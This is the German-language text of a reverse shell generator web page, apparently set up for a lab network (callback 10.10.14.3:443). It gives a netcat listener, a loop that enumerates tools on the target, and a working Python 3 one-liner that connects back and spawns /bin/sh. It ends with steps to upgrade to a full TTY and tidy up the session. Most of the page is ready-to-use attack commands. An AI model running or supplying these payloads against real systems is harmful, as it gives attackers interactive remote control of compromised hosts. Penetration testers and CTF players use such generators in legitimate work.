Reverse-Shell-Generator
Callback-Endpoint
10.10.14.3:443IP
Port
443 und 80 passieren die meisten ausgehenden Firewalls; ungewöhnliche hohe Ports werden oft blockiert.
Listener-Befehl
Auszuführender Befehl
$nc -lvnp 443Zielprofil
Ziel-Betriebssystem
CPU-Architektur
Ausgehender Zugang
Auf dem Ziel verfügbare Tools
Lassen Sie Tools nicht ausgewählt, wenn Sie nicht sicher sind, was auf dem Ziel vorhanden ist.
Unsicher? Führe dies auf dem Ziel aus, um verfügbare Tools und ihre vollständigen Pfade aufzulisten:
$for b in sh bash python3 python perl ruby node php nc ncat socat openssl curl wget awk; do p=$(command -v "$b" 2>/dev/null || ls /usr/bin/$b /bin/$b /usr/local/bin/$b /usr/sbin/$b /sbin/$b 2>/dev/null | head -1); [ -n "$p" ] && echo "$b: $p"; doneModus
Runtime / Tool
Shell-Pfad
Hohe Kompatibilität 100%Voll interaktiv — TTY beim Verbinden.
Technik10 / 138
Reverse-TCP-Callbackmulti
Python 3 PTY · multi · Python-3-Reverse-Shell, der die ausgewählte Shell über pty spawnt.
Transformation
Es werden nur kompatible Transformationen angezeigt.
Befehlsausgabe
$python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.3",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'Listener
$nc -lvnp 443+ Nicht vorhanden? Listener-Tool installieren
sudo apt install netcat-openbsd # macOS: brew install netcatSitzungs-Upgrade
Upgrade-Rezept
Ersetzen Sie die feste Größe durch Ihre Terminal-Abmessungen: stty rows $(tput lines) columns $(tput cols)
Upgrade-Schritte
$python3 -c 'import pty; pty.spawn("/bin/sh")' || python -c 'import pty; pty.spawn("/bin/sh")' $Ctrl-Z $stty raw -echo; fg $reset $export TERM=xterm-256color $stty rows 40 columns 120
Session-Bereinigung
Bereinigungshelfer
Bereinigungsschritte
$export SHELL=/bin/sh $export TERM=xterm-256color $export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH $alias ll='ls -la'